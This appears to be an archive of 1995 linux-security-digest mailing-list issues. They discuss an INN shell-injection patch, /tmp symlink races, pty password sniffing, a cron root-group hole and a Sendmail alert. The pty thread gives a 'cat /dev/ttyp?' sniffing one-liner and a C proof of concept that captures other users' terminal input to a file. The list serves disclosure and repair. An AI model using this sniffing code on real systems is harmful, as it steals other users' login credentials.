PATH=/bin:/usr/bin : . /usr/lib/news/innshellvars : PATH=${RNEWS}:/bin:/usr/bin Alternatively, you may want to simply set IFS to " " and invoke all programs using their full pathnames. While you're at it, you may also wish to make sure that TMPDIR points to a directory accessible only to news, for instance SPOOLDIR/tmp. INN shell scripts create a hell of a lot of tempfiles with names such as inp$$, art$$, and so on, which can be fooled quite easily. The TMPDIR variable is set in LIBDIR/innshellvars. Best wishes Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ****************************************************************** ******** patch for INN. Indented to avoid pgp garbling *********** ****************************************************************** --- parsecontrol.old Fri Sep 15 10:24:35 1995 +++ parsecontrol Fri Sep 15 10:36:30 1995 @@ -6,9 +6,12 @@ . /usr/lib/news/innshellvars WRITELOG=${NEWSBIN}/writelog +# Avoid `...` and $(...) in headers. These seem to be safe +GOODCHARS="[A-Za-z0-9_: <@>!\"'\$\010\012-]" + AZ=ABCDEFGHIJKLMNOPQRSTUVWXYZ az=abcdefghijklmnopqrstuvwxyz -FROM="`echo \"$1\" | tr ${AZ} ${az}`" +FROM="`echo \"$1\" | tr ${AZ} ${az} | tr -cd \"${GOODCHARS}\"`" REPLYTO="$2" case "$3" in "") @@ -29,20 +32,23 @@ test -z "${PROG}" && PROG=all ${EGREP} "^(${PROG}|all):" <${CTLFILE} >${TEMP} +ART=${TMPDIR}/art$$ +tr -cd "${GOODCHARS}" < ${ARTICLE} > ${ART} + ## Get any arguments. -if grep "^Control:[ ]*${PROG}" <${ARTICLE} >/dev/null 2>&1 ; then - set X `${SED} -n -e "s/^Control:[ ]*${PROG}//p" -e '/^$/q' <${ARTICLE}` +if grep "^Control:[ ]*${PROG}" <${ART} >/dev/null 2>&1 ; then + set X `${SED} -n -e "s/^Control:[ ]*${PROG}//p" -e '/^$/q' <${ART}` shift else if grep "^Subject:[ ]*cmsg[ ]*${PROG}" \ - <${ARTICLE} >/dev/null 2>&1 ; then + <${ART} >/dev/null 2>&1 ; then set X `${SED} -n -e "s/^Subject:[ ]*cmsg[ ]*${PROG}//p" \ - -e '/^$/q' <${ARTICLE}` + -e '/^$/q' <${ART}` shift else - rm -f ${TEMP} - ${MAILCMD} -s "Bad header by ${FROM}" \ - ${NEWSMASTER} <${ARTICLE} + ${SED} -e 's/^~/~~/' <${ART} | \ + ${MAILCMD} -s "Bad header by ${FROM}" ${NEWSMASTER} + rm -f ${TEMP} ${ART} exit fi fi @@ -70,7 +76,7 @@ ;; esac" done -rm -f ${TEMP} +rm -f ${TEMP} ${ART} IFS="`echo stn | tr stn ' \011\012'`" LOGFILE=mail --- bin/control/newgroup.old Fri Sep 15 10:50:56 1995 +++ bin/control/newgroup Fri Sep 15 10:50:05 1995 @@ -3,6 +3,7 @@ ## Newgroup control-message handler PROG=newgroup +GOODCHARS="[A-Za-z0-9_: <@>!\"'\$\010\012-]" ## Some shells don't pass in $* unless we explicitly pass it in here. ## =()<. @<_PATH_PARSECTL>@ "$@">()= @@ -127,7 +128,7 @@ p q } -b scan"` +b scan" | tr -cd "${GOODCHARS}"` test -z "${DESC}" && { DESC=`${EGREP} "^$1 " ${NEWSGROUPS} | ${SED} "s/[ ]*(Moderated)//"` test -z "${DESC}" && DESC="$1 ?" ****************************************************************** - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMF1RauFnVHXv40etAQGg/QP+La/8giuHSpVODbYM4PhrOqYldWdHjxH2 F5bjgSDvI6/4Cw7xaLVirEbfqMgTacJBEq5TJ/Ddgtls4WGsA3JLMsaBXltF7u5/ 66o7/cvOgXCfpTi09WGgyL6Ns/4dej5s89FF7qrYhUb6kPbdjsxQfbobwhorsPFv z92AldoUKg4= =p2HJ - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Yury Shevchuk) Date: Mon, 18 Sep 95 10:37 +0400 Subject: Re: elm and /tmp/mbox.* In message <[email protected]> Marek Michalkiewicz writes: >This is a more general problem. Any program creating files in /tmp (not >just elm) can cause the same problem if someone knows the name of temp >file in advance and creates a symlink under that name. It would be nice >to have a way to prevent creating symlinks in /tmp. The setuid bit on >directories is not used for anything - maybe it could be used for that? >If it is set, no one except root and the owner of the directory can >create symlinks in it. This works even for very old programs which >don't know anything about symlinks and lstat(). It shouldn't be too >hard to implement in the kernel. Comments? Even simpler: since symlinks in *any* world-writable directory are security holes, we'll do good by just prohibiting symlinks if (dir_mode & 0x2). This might seem a bit too quick, but there are precedents: setuid shell scripts are disabled in Linux for security reasons. So why not disable symlinks in world-writable directories as well? - -- Yu.Shevchuk ------------------------------ From: [email protected] (Alan Cox) Date: Tue, 19 Sep 1995 12:07:07 +0100 (BST) Subject: Re: source routing > kernel: ICMP: 143.166.213.152: Source Route Failed > > Why? what do these messages mean? > > I did a traceroute 143.166.213.152 and note that > traceroute starts reporting an "infinite loop" at > some point (typically 20 or more hops away). By > "infinite loop" I mean that the same router starts > showing up over and over again, with no appearent > forward progress of the packet. What does this > mean?? It probably means someone is adding source routing options to your packets which is a bit naughty but sometimes done to mend certain routing awkwardnesses > So it would seem my packets left austin, went to houston, > bounced around the country for a while, and > finally came back to austin via houston. (Is that > why my internet provider charges those fees?) The internet routing is a mix of political, topological and historical policies, often cross provider routers go stupid ways. When links start dying you may see very strange routes followed by a failure. > Seriously, though -- should I assume that someone > has a packet sniffer installed on one of these > machines, and is listening to everything I say? > Should I be worried for any reason? Should I be > disabling something in my kernel? Is this what It doesnt indicate anyone is up to anything. You should however assume that anything you type across an internet link may be being sniffed. If that worries you use tools like SSLtelnet which are the internet equivalent of using a sealed envelope not a postcard. Alan ------------------------------ From: Zefram Date: Tue, 19 Sep 1995 00:39:59 +0100 (BST) Subject: Re: elm and /tmp/mbox.* >>This is a more general problem. Any program creating files in /tmp (not >>just elm) can cause the same problem if someone knows the name of temp >>file in advance and creates a symlink under that name. It would be nice >>to have a way to prevent creating symlinks in /tmp. The setuid bit on >>directories is not used for anything - maybe it could be used for that? >>If it is set, no one except root and the owner of the directory can >>create symlinks in it. This works even for very old programs which >>don't know anything about symlinks and lstat(). It shouldn't be too >>hard to implement in the kernel. Comments? I think it's excessive. Shell scripts that put temporary files in /tmp are unlikely to be fully safe any other way, but they generally don't check to see if they're writing into an existing file anyway. >Even simpler: since symlinks in *any* world-writable directory are >security holes, we'll do good by just prohibiting symlinks if >(dir_mode & 0x2). Bad idea. Symlinks are useful; they should definitely not be implicitly prohibited anywhere. Practical example: a world-writable directory acting as a link farm to image files. Under Marek's proposed semantics (re setuid bit on the directory), the owner of the directory would not want to prohibit symlinks, and there would be no security problem with this. >This might seem a bit too quick, but there are precedents: setuid >shell scripts are disabled in Linux for security reasons. So why not >disable symlinks in world-writable directories as well? I was under the impression that setuid shell scripts were not supported on Linux because (a) it makes the exec code a bit simpler and (b) they're a really bad idea, so you don't lose anything by not supporting them. Security reasons lead one to not create setuid shell scripts, not to remove support from the kernel. Has anyone noticed the way to avoid the symlink problem on existing systems? An open(2) with the O_EXCL flag will fail with EEXIST on just about any Unix if the pathname it is given is a symlink, regardless of whether or not it points to anything. mkdir(2) is similarly immune to symlinks. creat(2) is vulnerable, because the open() call it is equivalent to has the flags O_CREAT|O_TRUNC but not O_EXCL. So to create a temporary file without incurring the symlink problem (or risking splatting someone else's file if you're root), use O_EXCL, and check the return code. I'm not sure how well this will behave over NFS, but who has a non-local /tmp? In the case of Elm, it is broken by design, and O_EXCL is of limited use. (A trivial denial-of-service attack will still work.) It needs to put its temporary file in a directory writable only by the user. A possible way to do this (other than using home directories) is to create a directory under /tmp for each user, and not delete them. This would allow any program that knows about the arrangement to have a (relatively) safe directory for temporary files. - -zefram ------------------------------ From: Joe Portman Date: Tue, 19 Sep 1995 11:05:11 -0700 (PDT) Subject: Problem with /dev/ttyp* I just discovered a user sniffing passwords by doing the following on my system. Kernel 1.2.11 cat /dev/ttyp? & It does not work every time, but occasionally it captures the login name and password of a careless user. It also prevents telnet logins on that ptyp/ttyp pair. 1. Is this a known bug? If so, how to fix it. 2. If not, can you think of a workaround. I tried removing read permissions from the tty[p-s] series, but they come back after a telnet session exits. Any help is greatly appreciated. - ----------------------------------------------------------------------------- Joe Portman - Alternate Access Inc. Affordable, Reliable Internet [email protected] Mercer Island: (206) 230-8732 Seattle: (206) 443-3408 Tacoma: (206) 927-6010 Federal Way: (206) 838-8457 Bellevue: (206) 455-8414 For free trial account: set modem to 8-n-1, login as "new" For questions or support, call our voice line (206) 728-9585. - ----------------------------------------------------------------------------- ------------------------------ End of linux-security-digest V1 #36 *********************************** linux-security-digest/1995/v01.n037100664 1767 1767 46456 6031113561 16063 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #37 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 23 September 1995 Volume 01 : Number 037 Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Listening on /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* cron 3.0pl1-20: URGENT SECURITY FIX (fwd) Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* ---------------------------------------------------------------------- From: Jon Lewis Date: Tue, 19 Sep 1995 17:58:39 -0400 (EDT) Subject: Re: Problem with /dev/ttyp* On Tue, 19 Sep 1995, Joe Portman wrote: > cat /dev/ttyp? & > > It does not work every time, but occasionally it captures the login name > and password of a careless user. It also prevents telnet logins on that > ptyp/ttyp pair. > > 1. Is this a known bug? If so, how to fix it. Looks known now...it works here too. :-) > 2. If not, can you think of a workaround. I tried removing read permissions > from the tty[p-s] series, but they come back after a telnet session exits. They probably came back because in sys_term.c of the telnetd source they do: (void) chmod(line, 0666); (void) chown(line, 0, 0); at logout on the tty/pty pair. The question is, is there a reason for this. I don't see one...and will try changing the mode to 0600 and compiling real soon...but I've had bad luck compiling most of the stuff from the Netkits. - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ ------------------------------ From: Perry F Nguyen Date: Tue, 19 Sep 1995 15:29:02 -0700 (PDT) Subject: Re: Problem with /dev/ttyp* On Tue, 19 Sep 1995, Joe Portman wrote: > I just discovered a user sniffing passwords by doing the following on > my system. > Kernel 1.2.11 > cat /dev/ttyp? & > It does not work every time, but occasionally it captures the login name > and password of a careless user. It also prevents telnet logins on that > ptyp/ttyp pair. > 1. Is this a known bug? If so, how to fix it. This is a known security problem in all Unix's. > 2. If not, can you think of a workaround. I tried removing read permissions > from the tty[p-s] series, but they come back after a telnet session exits. The only effective way I've found to prevent this from happening is to rewrite /bin/login to chmod() the tty to mode 600 before reading the username/password and then chowning the tty to the owner.tty and then mode 620. I've so far seen no other possible way around this problem. Forcing a default permission of 660 root.tty broke many applications that cannot/will not run setuid, ie. splitvt, cmdtool, ytalk, etc. anything that uses a pty. - -- pub 2047/848251A1 1995/08/01 Perry Francis Nguyen Key fingerprint = 9F A5 F1 29 0B EF 3A 1A 3D D4 8C B1 36 13 71 C1 - FTP ftp://ftp.netcom.com/pub/pf/pfn FTP or finger [email protected] for PGP Public Key. ------------------------------ From: [email protected] (Alan Cox) Date: Wed, 20 Sep 1995 19:36:07 +0100 (BST) Subject: Re: Problem with /dev/ttyp* > > 1. Is this a known bug? If so, how to fix it. > This is a known security problem in all Unix's. No its a stupid bug in some programs. All modern systems should be secure against this attack. Linux needs fixing ASAP. > The only effective way I've found to prevent this from happening is to > rewrite /bin/login to chmod() the tty to mode 600 before reading the > username/password and then chowning the tty to the owner.tty and then > mode 620. This is unlikely to be adequate. Permissions are applied on open not on read/write calls. Alan ------------------------------ From: [email protected] (Olaf Kirch) Date: Wed, 20 Sep 1995 21:34:38 +0200 (MET DST) Subject: Listening on /dev/ttyp* - -----BEGIN PGP SIGNED MESSAGE----- Hi all, I've done some more testing on this, and got the following results with 1.2.10 (yeah, I'm not really on the bleeding edge): * telnetd as of NetKit-0.5 does not protect you from anyone snooping on your pty. I guess we know that by now. There's some code in sys_term.c that does a vhangup on the pty, but it's commented out for Linux. The comment says that this appears to be buggy * Using login from util-linux-2.2 helps a bit. If you do a cat /dev/ttyp0, it will terminate once login is executed by telnetd. That's because login *does* do a vhangup. * Unfortunately, this is not the end of it. I experimented a little, and found that a program that ignores all signals *and* makes the pty its controlling tty will happily live on, and is still able to read data from it. I'm including it below. What I do not understand is why this does not make telnetd fail when doing an ioctl(TIOCSCTTY). Anyone more familiar with this stuff may be able to shed some light on this (Ted?). Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - - ------------------------------------------------------------------ /* * simple test program for. Not my usual standard of coding... */ #include #include #include #include #include #include int main(int argc, char **argv) { char buffer[256]; FILE *fp; int fd, i, n; for (i = 0; i < 256; i++) close(i); setsid(); if ((fd = open(argv[1], O_RDWR)) < 0) { perror("open"); return 2; } if (ioctl(fd, TIOCSCTTY, NULL) < 0) perror("ioctl"); if ((fp = fopen("/tmp/snarf", "w")) == NULL) return 2; for (i = 0; i < 32; i++) signal(i, SIG_IGN); while ((n = read(fd, buffer, 255)) > 0) { buffer[n] = 0; fprintf(fp, "got %s\n", buffer); } perror("read"); return 2; } - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMGBsa+FnVHXv40etAQHL7QQAgCrvfxjzQlCpNGv+ZNXLM1pF9U6G8JGJ yM89BO+uTBjh9SmFr/yX93l4zveoxqYXnQRc30+JQGBI6Q96fwtPrTyNVU2+UodS K+uCmr9p2Hu5mpLGD4RFFK/P6KANNXR2DR7fmBaytD/GgkuiixNbaQ6/j+a6kgmc u6xcgUx8K3g= =ztbx - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Adrian Miranda) Date: Wed, 20 Sep 95 11:38 PDT Subject: Re: Problem with /dev/ttyp* Perry F. Nguyen writes: > On Tue, 19 Sep 1995, Joe Portman wrote: > > > I just discovered a user sniffing passwords by doing the following on > > my system. > > Kernel 1.2.11 > > > cat /dev/ttyp? & > > > It does not work every time, but occasionally it captures the login name > > and password of a careless user. It also prevents telnet logins on that > > ptyp/ttyp pair. > > > 1. Is this a known bug? If so, how to fix it. > > This is a known security problem in all Unix's. I once heard that System V style pseudo ttys are more secure, anyone know if that is true? > > 2. If not, can you think of a workaround. I tried removing read permissions > > from the tty[p-s] series, but they come back after a telnet session exits. > The only effective way I've found to prevent this from happening is to > rewrite /bin/login to chmod() the tty to mode 600 before reading the > username/password and then chowning the tty to the owner.tty and then > mode 620. I don't think this will work if the rogue process already has the tty open before you do the chmod. An "fuser -k" on the device after you do the chmod seems to be pretty effective, though probably not perfect. Actually, doing an "fuser -k" seems particularly useful on Linux, since Linux seems highly prone to leaving processes lying around on ptys after someone logs out, especially if their session ends in an abnormal fashion. I think I've seen this on most/all Unix systems, but Linux seems worse, perhaps because (I'm told) it only sends a SIGHUP to the process group leader when someone disconnects unexpectedly. Adrian ------------------------------ From: "Theodore Ts'o" Date: Wed, 20 Sep 1995 16:22:15 -0400 Subject: Re: Problem with /dev/ttyp* Date: Wed, 20 Sep 95 11:38 PDT From: [email protected] (Adrian Miranda) I don't think this will work if the rogue process already has the tty open before you do the chmod. That's what the vhangup() system call is supposed to do. Although I haven't had time to analyze what telnetd/login is doing, it's probably not calling vhangup() at the right time. Note that vhangup() only works on the controlling tty --- so you have to obtain the tty as a controlling tty, do a vhangup(), and then reacquire it as a controlling tty. While you're doing the vhangup, you need to keep a file discriptor open on the tty, to prevent someone else from acquiring the master pty (remember, master pty opens are exclusive opens). One of the problems here is that vhangup() isn't completely portable, so what's secure on one operating system isn't necessarily secure on another system. BSD 4.4 doesn't have vhangup() at all; I'm not sure how they handle this particular problem. - Ted ------------------------------ From: Aleph One Date: Wed, 20 Sep 1995 20:43:25 -0500 (CDT) Subject: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) Anyone know anything more? Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 - ---------- Forwarded message ---------- Date: Thu, 21 Sep 95 01:58 BST From: Ian Jackson To: Debian package announcements Subject: cron 3.0pl1-20: URGENT SECURITY FIX There is a major security hole in cron 3.0pl1-19 and earlier, allowing any user to gain access to the `root' group. On many (most?) systems this will quickly allow them to gain superuser access. I am currently uploading cron-3.0pl1-20.deb using my 2400-baud modem. In the meantime, please disable your cron daemon: # killall cron # chmod 400 /usr/sbin/cron Ian M.: please replace the cron in the binary directory with this one immediately. The source will arrive tomorrow - my modem is too slow to get it uploaded today. If you download from Incoming, please check the file size - the binary package file is 27737 bytes. cron (3.0pl1-20); priority=URGENT * cron now uses initgroups when running jobs. Bug#1400. AARGH! -- Ian Jackson Thu, 21 Sep 1995 01:44:11 +0100 169cec1ee4387c994798608385826363 cron-3.0pl1-20.deb e9b26cb21aac62dcee5d443ce6dd7ab4 cron-3.0pl1-20.diff.gz 29655e14fff95cd477f1b3775d85d8d2 cron-3.0pl1-20.tar.gz - -rw-r--r-- 1 root root 27737 Sep 21 01:52 cron-3.0pl1-20.deb - -rw-rw-r-- 1 ian ian 10093 Sep 21 01:50 cron-3.0pl1-20.diff.gz - -rw-rw-r-- 1 ian ian 66738 Sep 21 01:50 cron-3.0pl1-20.tar.gz ------------------------------ From: Malcolm Beattie Date: Thu, 21 Sep 1995 10:52:49 +0000 (BST) Subject: Re: Problem with /dev/ttyp* [mod: quoting trimmed --okir] Theodore Ts'o writes: > One of the problems here is that vhangup() isn't completely portable, so > what's secure on one operating system isn't necessarily secure on > another system. BSD 4.4 doesn't have vhangup() at all; I'm not sure how > they handle this particular problem. Surely if it's done the POSIX way then you don't need vhangup? The login process should become a session leader with setsid() and then acquire a pseudo-terminal as controlling terminal (see POSIX 7.1.1.3). Once it's done that, processes in any other session that try to read from/write to that terminal should get EOF on reads and EIO on writes (7.1.1.10). - --Malcolm - -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services ------------------------------ From: Florian La Roche Date: Wed, 20 Sep 1995 13:46:01 +0200 (MET DST) Subject: Re: Problem with /dev/ttyp* > > On Tue, 19 Sep 1995, Joe Portman wrote: > > > cat /dev/ttyp? & > > > > It does not work every time, but occasionally it captures the login name > > and password of a careless user. It also prevents telnet logins on that > > ptyp/ttyp pair. > > > > 1. Is this a known bug? If so, how to fix it. > > Looks known now...it works here too. :-) The real problem is getty_ps, which has still a "chmod 666" in it, so that the time, people can start that "cat /dev/tty..." is pretty long. Fixing that, will give you a very short amount of time to do this. But you are right, that also telnetd should be changed to not do a "chmod 666" on exit. It should be "chmod 600" in my opinion. Another possible fix would be to open the tty, put correct perms/owner in it, close it and reopen it again. Then we don't have that small time between open and setting up things. > > > 2. If not, can you think of a workaround. I tried removing read permissions > > from the tty[p-s] series, but they come back after a telnet session exits. > > They probably came back because in sys_term.c of the telnetd source they do: > (void) chmod(line, 0666); > (void) chown(line, 0, 0); > at logout on the tty/pty pair. > > The question is, is there a reason for this. I don't see one...and will > try changing the mode to 0600 and compiling real soon...but I've had bad > luck compiling most of the stuff from the Netkits. The NetKits are in a really bad state. As I work currently most time on my jurix-elf distribution (susix.jura.uni-sb.de), you will still have to wait some more time for a new release. I plan to reapply all linux patches to a newer set of source code from the NetBSD people. But doing this takes some time. If there are some more volunteers to help, that would be great. (Current state of the art is on susix.jura.uni-sb.de/pub/linux/source/ networking/new/. That machine has also an Incoming dir /pub/linux/Incoming.) If anybody is has suggestions on how to improve things, just email me. I have recompiled my NetKits for my elf distribution, but didn't save my changes. :-( (Hmm, I have looked at those things at about the beginning of the year. It's time to make new NetKits, I know...) Florian ------------------------------ From: [email protected] (Adrian Miranda) Date: Thu, 21 Sep 95 10:29 PDT Subject: Re: Problem with /dev/ttyp* Joe Portman writes: ... [ In reference to using fuser -k on a pty to make sure no processes ... are using it] > fuser has been broken for many kernel revisions now. It will not work on > ttys (or other files for that matter). > > Has anybody got a working version of fuser for 1.2.8 or later? I fixed my version of fuser, but I seem to have lost the source code. The way I fixed it was to get it to do readlink on the /proc stuff instead of stat, and then match the link name against the file or device I'm checking. I'm sorry I can't send you the source, but I'm pretty sure there is a fixed version floating around the net. (I think it used a different/better fix, I believe it involved opening the "files" in /proc and running fstat on the descriptor, then matching the results against the file or device your checking). Adrian ------------------------------ From: matt sommer Date: Wed, 20 Sep 1995 01:29:30 -0700 (PDT) Subject: Re: Problem with /dev/ttyp* On Tue, 19 Sep 1995, Joe Portman wrote: > > I just discovered a user sniffing passwords by doing the following on > my system. > Kernel 1.2.11 > > cat /dev/ttyp? & > > It does not work every time, but occasionally it captures the login name > and password of a careless user. It also prevents telnet logins on that > ptyp/ttyp pair. *ouch* ... actually i was only able to replicate this in a minimal way... basically this type of attack assumes that the user running the remote session will type their passwd after the login prompt, even though they get no passwd prompt... i am running v1.2.3 ( its a bit hacked up tho ) ... if this is what u mean when u refer to a "careless" user, id have to agree that its pretty painful... > 1. Is this a known bug? If so, how to fix it. actually, u can do this sort of thing on a few commercial flavors where the shadow suite or some variant isnt installed... if u install the shadow suite, there is a variable in login.defs ( the config file for the suite ) that allows u to set tty perms explicitly ( TTYPERM ) which can then be set to 0600... it also does group ownership of the ttyp's properly so that if u sgid write(1) it will still work ( in this case write should be sgid tty )... it works for me, in any case... if u do decide to install this suite be sure and get "cracklib" which provides a pro-active means of checking new passwds ( the builtin stuff is pretty minimal ) via hooks in the src... u should not depend on cracklib: although it will catch the majority of dictionary words, it chokes on things like "/dev/null"... i really havent bothered to look into it too much as running crack regularly will often catch that sort of thing... the shadow suite will also correct the problem u outline below... the whole security through obscurity vs. proactive checking was flogged to death on this list a while back, so u might want to browse some of the digests to get a broader perspective... > 2. If not, can you think of a workaround. I tried removing read permissions > from the tty[p-s] series, but they come back after a telnet session exits. ^^^^^^^^^^^^^^ > Any help is greatly appreciated. hope that helps... cu, m. - ----- MD5 (/dev/null) = d41d8cd98f00b204e9800998ecf8427e ------------------------------ From: Adrian Miranda Date: Thu, 21 Sep 95 08:57 PDT Subject: Re: Problem with /dev/ttyp* Theodore Ts'o writes: > Date: Wed, 20 Sep 95 11:38 PDT > From: [email protected] (Adrian Miranda) > > I don't think this will work if the rogue process already has the tty > open before you do the chmod. > > That's what the vhangup() system call is supposed to do. Although I > haven't had time to analyze what telnetd/login is doing, it's probably > not calling vhangup() at the right time. Note that vhangup() only works > on the controlling tty --- so you have to obtain the tty as a > controlling tty, do a vhangup(), and then reacquire it as a controlling > tty. While you're doing the vhangup, you need to keep a file discriptor > open on the tty, to prevent someone else from acquiring the master pty > (remember, master pty opens are exclusive opens). I don't seem to have any docs on what vhangup does on 4.3BSD, but the linux manual page says it simulates a hangup, which presumably would just mean sending a SIGHUP, which could be ignored by a rogue process. I thought even on BSD a program could ignore it if it wanted to. Does it kill absolutely everything that has the device open? For security, I believe we need to do kill -9 on anything that has the device open. I vaguely recall vhangup was deprecated or dropped from BSD because it was useless, but I couldn't say. Anyone know for sure? Adrian ------------------------------ End of linux-security-digest V1 #37 *********************************** linux-security-digest/1995/v01.n038100664 1767 1767 52762 6032423733 16067 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #38 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 28 September 1995 Volume 01 : Number 038 Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) Re: Problem with /dev/ttyp* SENDMAIL 8.7 SECURITY ALERT Re: cron 3.0pl1-20: URGENT SECURITY FIX Re: Problem with /dev/ttyp* Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) Re: console security (was Re: problem with selection)h Re: Problem with /dev/ttyp* Re: console security Re: console security (was Re: problem wi ---------------------------------------------------------------------- From: Joe Portman Date: Thu, 21 Sep 1995 09:48:51 -0700 (PDT) Subject: Re: Problem with /dev/ttyp* On Wed, 20 Sep 1995, Adrian Miranda wrote: > I don't think this will work if the rogue process already has the tty > open before you do the chmod. An "fuser -k" on the device after you > do the chmod seems to be pretty effective, though probably not > perfect. Actually, doing an "fuser -k" seems particularly useful on > Linux, since Linux seems highly prone to leaving processes lying > around on ptys after someone logs out, especially if their session > ends in an abnormal fashion. I think I've seen this on most/all Unix > systems, but Linux seems worse, perhaps because (I'm told) it only > sends a SIGHUP to the process group leader when someone disconnects > unexpectedly. fuser has been broken for many kernel revisions now. It will not work on ttys (or other files for that matter). Has anybody got a working version of fuser for 1.2.8 or later? Thanks, - ----------------------------------------------------------------------------- Joe Portman - Alternate Access Inc. Affordable, Reliable Internet [email protected] Mercer Island: (206) 230-8732 Seattle: (206) 443-3408 Tacoma: (206) 927-6010 Federal Way: (206) 838-8457 Bellevue: (206) 455-8414 For free trial account: set modem to 8-n-1, login as "new" For questions or support, call our voice line (206) 728-9585. - ----------------------------------------------------------------------------- ------------------------------ From: "Theodore Ts'o" Date: Thu, 21 Sep 1995 18:49:00 -0400 Subject: Re: Problem with /dev/ttyp* Date: Thu, 21 Sep 95 08:57 PDT From: Adrian Miranda I don't seem to have any docs on what vhangup does on 4.3BSD, but the linux manual page says it simulates a hangup, which presumably would just mean sending a SIGHUP, which could be ignored by a rogue process. I thought even on BSD a program could ignore it if it wanted to. Does it kill absolutely everything that has the device open? For security, I believe we need to do kill -9 on anything that has the device open. It simulates a modem disconnect, which as defined by POSIX 7.1.1.10 revokes access to the tty from all existing file descriptors. I.e., reads return EOF, writes return EIO. Of course, if the modes on the tty aren't fixed, a process can immediately open the tty again --- which is why you need to chmod the tty before doing the vhangup(). - Ted ------------------------------ From: [email protected] (Michael Shields) Date: Thu, 21 Sep 1995 16:47:18 +0000 (GMT) Subject: Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) - -----BEGIN PGP SIGNED MESSAGE----- It's also a functionality bug because it prevents you from running jobs that need sroup permissions you normally have. I fixed it a year ago and think I reported it then, but didn't think of it as a security hole. Here is a patch: Index: c.s.u/vixie-cron/do_command.c --- c.s.u/vixie-cron/do_command.c:1.1.1.2 Mon Jun 13 21:41:44 1994 +++ c.s.u/vixie-cron/do_command.c Thu Sep 29 01:24:51 1994 @@ -207,7 +207,7 @@ * we set uid, we've lost root privledges. */ setgid(e->gid); -# if defined(BSD) +# if defined(BSD) || defined(linux) initgroups(env_get("LOGNAME", e->envp), e->gid); # endif setuid(e->uid); /* we aren't root after this... */ > Anyone know anything more? > > Aleph One / [email protected] > http://underground.org/ > KeyID 1024/948FD6B5 > Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 > > ---------- Forwarded message ---------- > Date: Thu, 21 Sep 95 01:58 BST > From: Ian Jackson > To: Debian package announcements > Subject: cron 3.0pl1-20: URGENT SECURITY FIX > > There is a major security hole in cron 3.0pl1-19 and earlier, allowing > any user to gain access to the `root' group. On many (most?) systems > this will quickly allow them to gain superuser access. > [...] > > cron (3.0pl1-20); priority=URGENT > > * cron now uses initgroups when running jobs. Bug#1400. AARGH! - - -- Shields. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMGGWseyjYMb1RsVfAQHwJAP/doSODO49ZrtdhRW300b8VEWUFS93qXHH WDi3LbL7AcCV3+Usos53HDutXTDEspBXnjFbtqtzKNKHLKn/qC4TPeE72B1EVnYb 0WBSf9ulUdjlR6P3alhKWR7D1IC24wxTRbz5A0jeUNIUR531IA7t/Uk9Otw8ElSH JwTcJUp6VVg= =lMnn - -----END PGP SIGNATURE----- ------------------------------ From: "Theodore Ts'o" Date: Thu, 21 Sep 1995 15:30:40 -0400 Subject: Re: Problem with /dev/ttyp* From: Malcolm Beattie Date: Thu, 21 Sep 1995 10:52:49 +0000 (BST) Surely if it's done the POSIX way then you don't need vhangup? The login process should become a session leader with setsid() and then acquire a pseudo-terminal as controlling terminal (see POSIX 7.1.1.3). Once it's done that, processes in any other session that try to read from/write to that terminal should get EOF on reads and EIO on writes (7.1.1.10). But POSIX doesn't specify that. Section 7.1.1.10 applies when a modem disconnect is detected by the terminal interface for a controlling terminal. 7.1.1.3 states that how a process can acquire a controlling terminal is "implementation defined" --- it MAY happen if the a process is a session leader and doesn't otherwise have a controlling terminal, but it's not guaranteed to. In any case, nowhere in POSIX is it specified that access to the tty is revoked (as in a hangup) to other processes after it is acquired as a controlling terminal by a session loeader. If you think there is such a statement, please point it out to me; I've spent a lot of time studying the POSIX.1 (1990) specification while I was implementing POSIX job control for Linux, many years back, and I never ran into anything like that. It's possible that I missed it, though; so if you can point me at the POSIX chapter and verse where this is actually claimed, I'd appreciate it. - Ted ------------------------------ From: alex Date: Sun, 24 Sep 1995 09:26:58 -0400 (EDT) Subject: SENDMAIL 8.7 SECURITY ALERT **************** PLEASE DO NOT REPLY TO EVERYBODY IN THE CC' LIST WHILE **************** REPLYING TO THIS MESSAGE Accoring to CERT Coordinator Sendmail 8.7 released during LISA'9 re-introduces old stack overflow security bug. The bug was discovered within 2 hours after 8.7 was released. From what I know, there is no CERT advisory about it yet. Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. 